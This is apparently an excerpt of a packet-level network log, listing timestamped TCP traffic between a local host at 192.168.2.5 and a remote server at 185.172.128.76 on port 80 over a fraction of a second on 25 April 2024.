Apr 25, 2024 21:47:59.145044088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145054102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145055056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145091057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145091057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145097971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145132065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145157099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145215988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145229101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145237923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145318031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145330906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145370960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145371914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145421982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145466089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145466089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145492077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145550013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145555019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145602942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145617008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145642042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145673990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145682096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145682096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145718098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145721912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145773888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145806074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145807981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145821095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145823002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145853043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145867109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145867109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145908117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145912886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145936966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145975113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145975113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145982027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146034956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146039009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146116972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146117926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146131992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146190882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146190882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146208048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146255016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146267891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146310091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146311998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146419048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146466970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146512032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146529913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146559000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146644115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146656990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146738052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146744013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146801949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146815062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146874905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146897078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146945000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146958113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.146989107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.146989107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.147016048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.147054911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.147056103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.199507952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.199523926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.199563026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.199595928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.199628115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.199628115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.199862957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.199875116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.199959993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.199959993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.199995041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200031996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200052977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200112104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200129032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200151920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200192928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200192928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200285912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200336933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200364113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200409889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200444937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200586081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200612068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200666904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200690985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200716972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200742006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200766087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200767040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200809956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200820923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200864077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200869083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200882912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200906038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.200941086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200983047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.200997114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201018095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201018095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201018095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201046944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201056004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201070070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201143980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201149940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201163054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201201916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201201916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201209068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201288939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201303959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201329947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201381922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201381922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201386929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201400995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201457024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201457024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.201468945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.201503992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297225952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297251940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297265053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297278881 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297327042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297358036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297369003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297393084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297408104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297414064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297414064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297457933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297457933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297461987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297513008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297540903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297616959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297650099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297662973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297662973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297673941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297712088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297712088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297741890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297781944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297799110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297830105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297847033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297873020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297893047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297910929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297910929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297931910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.297966957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.297981024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298018932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298027039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298048973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298135996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298173904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298182011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298185110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298229933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298230886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298275948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298278093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298301935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298326969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298350096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298356056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298393965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298408985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298425913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298466921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298466921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298474073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298531055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298544884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298549891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298588991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298588991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298616886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298641920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298660040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298685074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298687935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298711061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298749924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298794031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298815012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298836946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298836946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298861027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298893929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298907995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298933029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298975945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.298975945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.298975945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299014091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299029112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299062967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299067020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299113035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299119949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299163103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299202919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299215078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299238920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299252033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299257994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299257994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299267054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299297094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299297094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299308062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299310923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299360037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299376965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299391985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299422979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299431086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299431086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299457073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299483061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299500942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299515963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299570084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299583912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299598932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299603939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299618959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299645901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299645901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299678087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299691916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299702883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299721003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299758911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299772978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299786091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299797058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299819946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299834013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299839020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299839020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299879074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299879074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299884081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299937010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.299942017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299954891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299967051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.299985886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300009012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300014973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300029039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300040960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300065041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300081015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300081015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300117970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300124884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300131083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300153971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300170898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300179958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300204992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.300210953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300240993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.300240993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351133108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351327896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351466894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351520061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351522923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351537943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351566076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351600885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351620913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351694107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351759911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351814985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351814985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351867914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351882935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351897955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351931095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351931095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.351947069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.351962090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352003098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352003098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352013111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352029085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352068901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352068901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352109909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352148056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352181911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352221966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352252960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352307081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352318048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352381945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352385998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352428913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352536917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352588892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352615118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352626085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352627039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352674007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.352713108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.352713108 CEST	49704	80	192.168.2.5	185.172.128.76
